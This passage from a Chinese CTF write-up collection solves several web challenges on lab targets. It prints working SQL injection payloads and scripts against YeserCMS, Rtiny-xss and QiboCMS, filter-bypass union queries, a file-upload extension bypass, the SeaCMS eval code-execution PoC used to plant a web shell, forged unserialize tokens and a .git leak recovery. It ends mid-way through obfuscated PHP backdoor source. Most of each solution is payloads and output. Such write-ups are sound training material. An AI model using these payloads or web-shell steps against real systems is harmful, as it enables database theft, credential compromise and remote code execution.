</q></xjxquery>这里出现了一个尴尬的问题,显示的长度不够了,通过调整1,32的来调整可显示部分表出来得到部分表名:yesercms_a_attachment和yesercms_因为group_concat只取数据的32位,所以我们用python脚本跑一下,得到完整的数据库表:import requests url = 'http://f6434ae33e264d1786933d22e0f05e4caae7c61df2d24aa1.changame.ichunqiu.com/celive/live/header.php' for i in range(1, 999, 31): postdata = { 'xajax': 'Postdata', 'xajaxargs[0]': "<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),%s,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>" % str( i) } r = requests.post(url, data=postdata) print r.content[22:53]得到完整的表:yesercms_a_attachment,yesercms_a_comment,yesercms_a_rank,yesercms_a_vote,yesercms_activity,yesercms_announcement,yesercms_archive,yesercms_assigns,yesercms_b_arctag,yesercms_b_area,yesercms_b_category,yesercms_b_special,yesercms_b_tag,yesercms_ballot,yesercms_bbs_archive,yesercms_bbs_category,yesercms_bbs_label,yeercms_bbs_reply,yesercms_chat,yesercms_departments,yesercms_detail,yesercms_event,yesercms_friendlink,yesercms_guestbook,yesercms_linkword,yesercms_my_a,yesercms_my_yingpin,yesercms_operators,yesercms_option,yesercms_p_orders,yesercms_p_pay,yesercms_p_shipping,yesercms_pay_exchange,yesercms_sessions,yesercms_settings,yesercms_templatetag,yesercms_type,yesercms_union,yesercms_union_pay,yesercms_union_visit,yesercms_user,yesercms_usergroup查询字段:xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(column_name) from information_schema.columns where table_name='yesercms_user'),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>得到字段名:userid,username,password,nickna爆出字段内容:xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx', (UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>获得admin的用户MD5值为:ff512d4240cbbdeafada40467这里md5的长度也不够32位,还是需要调整,将起始位1修改为8。xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx', (UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),8,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>或者xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),10,50),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery> 拿到账号密码admin|ff512d4240cbbdeafada404677ccbe61,解密后得到明文:Yeser231 登陆成功后,在“管理-模板-当模板编辑”中存在文件读取漏洞 打开burpsuit,点击某一个档案的编辑按钮然后进行抓包 修改id的值,题目提示说flag在flag.php中,因为不知道在几级目录下,依次尝试 flag.php ../flag.php ../../flag.php 最后成功得到flag POST /index.php?case=template&act=fetch&admin_dir=admin&site=defaul data: &id=../../flag.php 最终flag:flag{2d5d0894-8acc-44ce-b48a-280fb3fae9ab} 题目名称:XSS平台 题目writeup: 启动题目场景,获得靶场网站,发现是一个xss平台 输入用户名和密码,通过bupsuit抓包拦截发送请求,并测试sql注入无果 这里将post数据包中的pass这个参数后加入其它字符如[],发送请求,发现在响应页面报错,并且显示为Rtiny python项目,且爆出网站的物理路径为:/var/www/html在github中搜索Rtiny,找到项目地址:https://github.com/r0ker/Rtiny-xss下载项目源码到本地,对其python 项目进行审计,发现lock.py文件中的代码是存在注入的,因为username和password参数都没有做过滤处理。Username是来自cookie的加密发送,Tornado的set_secure_cookie()函数发送浏览器的cookies,以防范浏览器中的恶意修改。而这个cookie是被加密过的,加密使用的key在index.php文件中。cookie_secret的值为:M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=所以我们只需要将自己的注入语句,使用相同的sookie_secret值进行加密即可,并使用报错注入构造注入语句,脚本如下:import tornado.ioloopimport tornado.web settings = { "cookie_secret" : "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=",} class MainHandler(tornado.web.RequestHandler): def get(self): self.write("Hello") self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select version()))) -- ") #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select group_concat(distinct table_name) from information_schema.tables where table_schema=database())))-- ") #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='manager')))-- ") #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ") #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select load_file('/var/www/html/f13g_ls_here.txt'))))#") #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),28,60)))#") self.write(self.get_secure_cookie("username")) def make_app(): return tornado.web.Application([ (r"/index", MainHandler), ], **settings) if __name__ == "__main__": app = make_app() app.listen(8080) tornado.ioloop.IOLoop.instance().start()脚本运行之后,使用火狐浏览器访问http://192.168.1.8:8080/index,并获取Set-Cookie值。下面为各个self.set_secure_cookie都执行一次,获得响应的Set-Cookie值然后访问lock路径,且替换cookie信息(不同报错SQL注入语句生成的cookie),可获得不同的信息。获得数据库版本:self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select version()))) -- "):Set-Cookie: username=2|1:0|10:1628698313|8:username|76:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHNlbGVjdCB2ZXJzaW9uKCkpKSkgLS0g|294ff6fda043eb8041e3ba94fe4677a85c6a5d9e4aeebb3790deccbe7d0e4009; expires=Fri, 10 Sep 2021 16:11:53 GMT; Path=/数据库版本为:5.5.50 获得表名:self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select group_concat(distinct table_name) from information_schema.tables where table_schema=database())))-- "):Set-Cookie: username=2|1:0|10:1628698669|8:username|188:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHNlbGVjdCBncm91cF9jb25jYXQoZGlzdGluY3QgdGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpKSkpLS0g|fcf80f56b27a4c2c80ad3c569594a4823d2a510bfb29dd44262764c06a8589b0; expires=Fri, 10 Sep 2021 16:17:49 GMT; Path=/得到4个表:host,manager,module,msglog,pro 获得字段名:self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='manager')))-- ")Set-Cookie: username=2|1:0|10:1628698796|8:username|224:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHNlbGVjdCBncm91cF9jb25jYXQoZGlzdGluY3QgY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWU9J21hbmFnZXInKSkpLS0g|049171c133846ce5524c3287cd499263ae26dc4588dab1b12fdb48467286e322; expires=Fri, 10 Sep 2021 16:19:56 GMT; Path=/得到3个字段名:username,password,email 获得字段数据内容:self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ")Set-Cookie: username=2|1:0|10:1628698884|8:username|156:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsbWlkKChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLCd8JyxwYXNzd29yZCwnfCcsZW1haWwpIGZyb20gbWFuYWdlciksMzAsNjIpKSkgLS0g|d28589cae4f851cc8e55bee6e03ec08e76f96d4f839a1a4a35867e2af78b6c83; expires=Fri, 10 Sep 2021 16:21:24 GMT; Path=/ 得到后半部分的MD5值:cfc4337207f|545 self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),1,30))) -- ")Set-Cookie: username="2|1:0|10:1628699758|8:username|156:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsbWlkKChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLCd8JyxwYXNzd29yZCwnfCcsZW1haWwpIGZyb20gbWFuYWdlciksMSwzMCkpKSAtLSA=|138d344639d775557f79f2fcd8c59e13c4186cd86d56758da3dfd3776bee803a"; expires=Fri, 10 Sep 2021 16:35:58 GMT; Path=/ 得到前部分的用户名和密码值:ichuqiu|318a61264482e503090fac 用户名为:ichuqiu ,密码的前部分md5值:318a61264482e503090fac那么组合起来的password的MD5值为:318a61264482e503090facfc4337207f|545 MD5解密后为:Myxss623输入用户名ichuqiu密码Myxss623,登录到系统在文件栏目中显示f13g_ls_here.txt是在该系统中,根据上文的爆出的网站物理路径,那么f13g_ls_here.txt路径为:/var/www/html/f13g_ls_here.txt 既然知道网站物理路径,那么可以通过load_file读取f13g_ls_here.txt内容:self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select load_file('/var/www/html/f13g_ls_here.txt'))))#")Set-Cookie: username="2|1:0|10:1628700614|8:username|120:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHNlbGVjdCBsb2FkX2ZpbGUoJy92YXIvd3d3L2h0bWwvZjEzZ19sc19oZXJlLnR4dCcpKSkpIw==|9e10f83afcbc71c66f93440c17ace8b401bc48fa1bec1b8cf5c77bfd64f794fd"; expires=Fri, 10 Sep 2021 16:50:14 GMT; Path=/获取到falg的前部分:flag{dca268c8-bfc7-4382-aa25-35 self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),28,60)))#")Set-Cookie: username=2|1:0|10:1628700882|8:username|132:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsbWlkKChzZWxlY3QgbG9hZF9maWxlKCcvdmFyL3d3dy9odG1sL2YxM2dfbHNfaGVyZS50eHQnKSksMjgsNjApKSkj|5c16fe54b971dc0ac5907abaf734eecbbab60aa790c77c8a5f37a8ef85f3ee4e; expires=Fri, 10 Sep 2021 16:54:42 GMT; Path=/获取到falg的后部分:5-359f21c017bd}最终flag:flag{dca268c8-bfc7-4382-aa25-359f21c017bd} 题目名称:再见CMS题目内容:这里还是有一个小脑洞题目writeup:启动题目场景,获得靶场网站,页面报错了网站的物理路径/var/www/html/http://b897152215d34ab597fed97d8b102d6cb3b5df5c35764d22.changame.ichunqiu.com/通过whatweb在线cms查询靶机网站的CMS指纹,可以查询到该系统使用的CMS是奇博CMShttp://whatweb.bugscaner.com/look/ 通过御剑目录扫描工具,发现系统中存在flag.php通过百度搜索奇博CMS的漏洞,发现历史漏洞中存在SQL注入,这里可以参考:https://www.2cto.com/article/201501/365742.html先注册一个用户test记下自己的uid,以便一会更新数据,在个人信息的链接地址的UID中可查询到,这里我的UID值为3。 http://badea0fa60b044d59413aeddf7524d450e8b165442834484.changame.ichunqiu.com/member/homepage.php?uid=3 查看数据库版本信息http://b897152215d34ab597fed97d8b102d6cb3b5df5c35764d22.changame.ichunqiu.com/member/userinfo.php?job=edit&step=2post: truename=root%0000&Limitword[000]=&[email protected]&provinceid= , address=(select version()) where uid = 3 %23 //注意uid值http://b897152215d34ab597fed97d8b102d6cb3b5df5c35764d22.changame.ichunqiu.com/member/homepage.php?uid=3得到数据库版本信息:5.5.35-1ubuntu1 查看数据库用户:http://b897152215d34ab597fed97d8b102d6cb3b5df5c35764d22.changame.ichunqiu.com/member/userinfo.php?job=edit&step=2post:truename=test%0000&Limitword[000]=&[email protected]&provinceid=,address=(select user()) where uid=3%23 http://b897152215d34ab597fed97d8b102d6cb3b5df5c35764d22.changame.ichunqiu.com/member/homepage.php?uid=3得到数据库用户名为:youleUserl@localhost 查询表名:http://b897152215d34ab597fed97d8b102d6cb3b5df5c35764d22.changame.ichunqiu.com/member/userinfo.php?job=edit&step=2post:truename=test%0000&Limitword[000]=&[email protected]&provinceid=, address=(select group_concat(distinct(column_name)) from information_schema.columns where table_name = (select distinct(table_name) from information_schema.tables where table_schema = database() limit 1) ) where uid = 3 %23 得到表名为:id,username,password,Email 通过load_file读取/var/www/html/flag.php内容http://b897152215d34ab597fed97d8b102d6cb3b5df5c35764d22.changame.ichunqiu.com/member/userinfo.php?job=edit&step=2post:truename=test%0000&Limitword[000]=&[email protected]&provinceid=,address=(load_file(0x2f7661722f7777772f68746d6c2f666c61672e706870)) where uid=3%23 根据上文可知flag的路径路径为:/var/www/html/flag.php,load_file函数里面那一串十六进制数字代表/var/www/html/flag.php 查询源码,发现flag内容view-source:http://b897152215d34ab597fed97d8b102d6cb3b5df5c35764d22.changame.ichunqiu.com/member/homepage.php?uid=3最终flag:flag{b60be290-d90e-4b72-8763-83ae2357e933} 题目名称:SQL题目writup:启动题目场景,获得靶场网站,访问网站,页面显示flag{在数据库中}http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1测试and 1=1和and 1=0,页面都显示相同内容,证明and被过滤了。http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 and 1=1又测试or 1=1和or 1=0,页面都显示相同内容,证明or也被过滤了。http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 or 1=1使用字符&&和||分别替换成and和or,页面显示不同,证明存在注入漏洞http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 && 1=1http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 || 1=1用order by测试字段数,发现order by也被过滤了。http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 order by 1经常大量测试,发现可以使用<>绕过http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 o<>rder by 1这里需要注意or<>der隔开是不对的,因为or又是一个被拦截的字符 可以查询到有3个字段http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 o<>rder by 1通过union select查询字段的回显位,发现union select也被过滤了http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 union select 1,2,3 这里同样用<>绕过,可查询到字段回显位在2位置。http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 un<>ion se<>lect 1,2,3查询数据库名http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 un<>ion se<>lect 1,database(),3可得到数据库名为:sqli查询表名http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 un<>ion se<>lect 1,table_name,3 from information_schema.tables where table_schema='sqli'得到表名为:info(猜测flag在info表中)和users查询字段名:http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 un<>ion se<>lect 1,group_concat(column_name),3 from information_schema.columns where table_name='info' 得到三个字段名为:id,title,flAg_T5ZNdrm 查询flAg_T5ZNdrm字段的内容,可获得flag内容http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 u<>nion se<>lect 1,flAg_T5ZNdrm,3 from info最终flag:flag{d6f827ac-3b39-4878-a6a9-77829ca6ed93} 题目名称:题目内容:12341234,然后就解开了 题目wirteup:启动题目场景,获得靶场,访问网站,发现页面正在加载http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/b68a89d1c4a097a9d8631b3ac45e8979.php然后查看源代码,发现有注入long.php?id=1连接访问login.php?id=1链接,可以正常显示,测试sql注入发现不行。http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/login.php?id=1这里对其靶机网站目录进行扫描,发现有index.php和login.php以及config.php其中config.php页面打开是空白访问index.php页面,发现有跳转,这里对其进行抓包,发现会直接跳转到b68a89d1c4a097a9d8631b3ac45e8979.php页面打开b68a89d1c4a097a9d8631b3ac45e8979.php页面,又继续抓包分析,有一个隐藏页面进行请求b68a89d1c4a097a9d863lb3ac45e8979.php(这里1变成了L),在进行请求,响应页面跳转到302,同时又隐藏了页面 l0gin.php?id=1,真正的是这个页面在请求。http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/b68a89d1c4a097a9d8631b3ac45e8979.php访问l0gin.php?id=1链接,发现有内容的页面,可能这个页面是存在注入http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=1 测试and 1=1和and 1=0,发现都被过滤经过测试 and '1 和and '0,可绕过,并且页面不同,可判断该页面存在注入。http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=1' and '1http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=1' and '0测试闭合符号#,发现#符号被过滤了测试闭合符号--以及%23(# url编码)可成功闭合。查询字段,发现存在2个字段http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=1' order by 2%23查询字段回显位,发现逗号被过滤了,不能进行含有逗号的Sql查询语句绕过逗号过滤,可以使用join 联合查询语句进行绕过查询数据库名和数据库版本http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=-1' union select * from (select database()) a join (select version() ) b %23得到数据库名为sqli以及数据库版本:5.5.50-0ubuntu0.14.04.1查询表名http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=-1' union select * from (select group_concat(table_name) from information_schema.tables where table_schema='sqli') a join (select version() ) b %23得到表名为:users查询users的字段名http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=-1' union select * from (select group_concat(column_name) from information_schema.columns where table_name='users') a join (select version() ) b %23得到字段名为:id,username,flag_9c861b688330查询字段内容,可获得flag内容http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=-1' union select * from (select flag_9c861b688330 from users) a join (select version() ) b %23最终flag:flag{2281c183-a611-4569-8e88-8e1bace4d9a5} 题目名称:123题目内容:12341234,然后就解开了题目witeup:启动题目场景,获得靶场网站,访问网站,发现是一个登陆页面http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/login.php查看源代码,发现注释中包含用户名都在user.php中,且用户名的密码是密码+出生日期。view-source:http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/login.php通过御剑目录扫描工具,发现存在flag.php和user.php.bk文件访问user.php.bk文件,可直接下载文件到本地,并查看其内容,发现都是用户名字典。可将该文件当作字典 进行爆破。登录系统,输入任意用户名和密码,并对其抓包,这里对用户名和密码进行爆破。由于密码是密码+出生日期,这里出生日期从1990开始fuzz添加字典,也就是那个备份文件成功爆破出用户名lixiuyun,密码lixiuyun1990输入爆破成功的用户名和密码,可登录系统,但是现实是空白的查看源代码,发现注释中存在漏洞需要去掉,这里是去掉注释,我们将其复制保存到本地为file.htmlview-source:http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/file.html修改后的内容:<!DOCTYPE html><html><head> <meta charset="utf-8" /> <title>个人中心</title></head><body><center><form action="http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/" method="POST" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="submit" value="上传" /></form> </center></body></html>首先正常访问登录后的地址:http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/,并获得cookie值 然后本地访问file.html,上传一个.txt文件,抓包拦截,并带上获取的cookie值,发送请求,发现只允许上传图片文件。接着上传.jpg发现文件名不合法文件名修改为test.jpg.php发现文件名不能包含php之后我们再尝试 php2, php3, php4, php5, phps, pht, phtm, phtml等 php的别名,最后得到pht或者phtml不会被过滤,可上传成功,并返回了一个路径/view.php 访问view.php路径,得到提示通过file进行传参http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/view.php访问view.php?file=,发现filter "flag"显示过滤了flag关键字http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/view.php?file=直接双写flaflagg绕过,试了半天flaflagg.php,最后把.php去掉就得到flag了访问view.php?file=flflagag可成功读取flag内容http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/view.php?file=flflagag最终flagflag{284d0d78-c90d-47bd-940b-a713f20749e7} 题目名称:Test题目内容:善于查资料,你就可以拿一血了 writeup:启动题目场景,获得题目靶机网站,访问网站,发现网站是一个海洋CMS系统开发的http://9e3dca6048414f28b84aebff6615aaf412179ee984524170.changame.ichunqiu.com/通过百度搜索海洋cms历史漏洞可知,得到一个搜索的任意代码执行漏洞,poc:search.php/?searchtype=5&tid=&area=eval($_POST[bk])这里直接访问以下链接,可远程加载一句话木马http://9e3dca6048414f28b84aebff6615aaf412179ee984524170.changame.ichunqiu.com/search.php/?searchtype=5&tid=&area=eval($_POST[bk])这里通过蚂剑链接一句话木马并通过命令终端搜索falg,命令:find / -name "*flag*",发现没有任何相关的flag信息猜测flag可能在数据库中,这里需要链接数据库,前提是需要找到数据库连接的用户名和密码而这些信息是在data/common.inc.php文件下存在数据库的配置内容。通过蚂剑本身自带的数据库管理工具链接数据库并在seacms数据库中的flag_140ad230d8cb表中的flag字段中存在flag的信息,这里执行字段中的语句,即可获得flag内容 最终得到flag:flag{1603d032-add0-424b-8b11-df64d0e4ebb2} 题目名称:Login题目内容:加油,我看好你 题目writeup:启动题目场景,获得靶场网站,访问网站,发现是一个登陆页面http://861cde64ed424097a53639737ae67efabab9eb44763844b4.changame.ichunqiu.com/对靶场网站查看源码发现注释中有test1 test1,猜测是用户名和密码view-source:http://861cde64ed424097a53639737ae67efabab9eb44763844b4.changame.ichunqiu.com/输入用户名test1和密码test1,可成功登陆到member.php后台页面,发现没有可利用点http://861cde64ed424097a53639737ae67efabab9eb44763844b4.changame.ichunqiu.com/member.php并查看源码,也没哟发现可利用点继续访问访问member.php页面,并通过bupsuit抓包,发现在响应页面的http响应头中出现了可疑的show: 0 http://861cde64ed424097a53639737ae67efabab9eb44763844b4.changame.ichunqiu.com/member.php这里将show: 0 添加到http请求头部中,并发送请求,在响应页面中并没没发生变化和可利用点这里修改为show: 1 添加到http请求头部中,在响应页面中出现了php的源代码。 得到php源码:<!-- <?php include 'common.php'; $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE); class db { public $where; function __wakeup() { if(!empty($this->where)) { $this->select($this->where); } } function select($where) { $sql = mysql_query('select * from user where '.$where); return @mysql_fetch_array($sql); } } if(isset($requset['token'])) { $login = unserialize(gzuncompress(base64_decode($requset['token']))); $db = new db(); $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\''); if($login['user'] === 'ichunqiu') { echo $flag; }else if($row['pass'] !== $login['pass']){ echo 'unserialize injection!!'; }else{ echo "(╯‵□′)╯︵┴─┴ "; } }else{ header('Location: index.php?error=1'); }?> 对其源码进行代码分析:可以看到想要得到 flag,必须得满足: 1.user 等于ichunqiu $login['user'] === 'ichunqiu' 然而token是经过这样处理的: $login = unserialize(gzuncompress(base64_decode($requset['token']))); 所以需要将‘ichunqiu’经过base64_encode(gzcompress(serialize($token)))处理得到token值,并将token添加到cookie中,发送请求就会得到flag 上面代码中三个函数的作用如下: unserialize:对单一的已序列化的变量进行操作,将其转换回 PHP 的值 gzuncompress:解压被压缩的字符 base64_decode:base64解码 我们重新编写一个php脚本来生成ichunqiu的token值: <?php $a = array('user'=>'ichunqiu'); $a = base64_encode(gzcompress(serialize($a))); echo $a ?> 这里通过在线php工具来运行php代码得到token https://tool.lu/coderunner/ 得到token的值:eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA== 将token值添加到cookie中,添加的内容为:;token=eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA== 并发送请求,在响应页面中发现了flag的内容 最终flag为:flag{051e9c1c-e685-4ef8-a315-5cae795f5866} 题目名称:Backdoor题目内容: 努力、加油,拼搏,奋斗!!! tips:敏感文件泄漏 题目writeup: 其他题目场景,获得题目靶机,访问网站,页面显示了一些内容“can you find the flag.php?" http://a4afd48a8c0d47a49a73ba27c3e6a5077ba687fe77164266.changame.ichunqiu.com/Challenges/index.php 尝试将index.php修改为flag.php,访问Challenges/flag.php页面,内容显示的flag并不是真正的flag http://a4afd48a8c0d47a49a73ba27c3e6a5077ba687fe77164266.changame.ichunqiu.com/Challenges/flag.php 通过御剑目录扫描工具对网站根目录以及/Challenges目录进行扫描,发现存在 robots.txt和flag.php文件以及/.git/路径访问robots.txt页面,发现隐藏可访问flag.php页面http://a4afd48a8c0d47a49a73ba27c3e6a5077ba687fe77164266.changame.ichunqiu.com/robots.txt 访问flag.php页面,显示404页面无法访问http://a4afd48a8c0d47a49a73ba27c3e6a5077ba687fe77164266.changame.ichunqiu.com/flag.php这里通过githack进行git下载python GitHack.py http://a4afd48a8c0d47a49a73ba27c3e6a5077ba687fe77164266.changame.ichunqiu.com/.git/下载下来并没有可利用的东西,有某些隐藏的git操作的修改历史记录githack是不能读取出来。这里使用dvcs-ripper会自动解析并提取以往的操作历史记录项目https://github.com/kost/dvcs-rippergit clone https://github.com/kost/dvcs-ripper.gitperl rip-git.pl -v -u http://a4afd48a8c0d47a49a73ba27c3e6a5077ba687fe77164266.changame.ichunqiu.com/Challenges/.git/ 查看falg.php和index.php的内容cat flag.phpcat index.php显示内容为:flag{this_is_not_flag},并不是flag内容查看flag.php的修改git日志记录 git log flag.php 可以看到修改了很多次flag.php这个文件,我们回查一下上一次的修改时的内容commit的值是test那次的值,可以看到在修改前是flag{true_flag_is_in_the_b4cko0r.php} 那么我们访问tb4cko0r.php文件,页面内容显示“can you find the source code of me?”告诉我们需要源码查看http://2f563c14132a4594bd424f63a4da93bd96dec8c672684bd6.changame.ichunqiu.com/Challenges/b4ckdo0r.php查看源代码并没有任何可利用点view-source:http://2f563c14132a4594bd424f63a4da93bd96dec8c672684bd6.changame.ichunqiu.com/Challenges/b4ckdo0r.php 源代码中也无任何提示,既然是文件泄露,我们就尝试.b4ckdo0r.php.swo和, .b4ckdo0r.php.swp文件,这两个都是vim在编辑过程中产生的缓存文件,果然找到了.b4ckdo0r.php.swo,打开发现是乱码我们将b4ckdo0r.php.swo上传到 kali 系统中,使用vim -r选项恢复该文件。vim -r b4ckdo0r.php.swo 回车即可得到b4ckdo0r.php的内容,将内容拷贝至b4ckdo0r.php文件中: <?phpecho "can you find the source code of me?";/** * Signature For Report */$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/* */$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/* */$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/* */$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/* */$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/* */$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/* */$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/* */$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/* */$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/* */$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/* 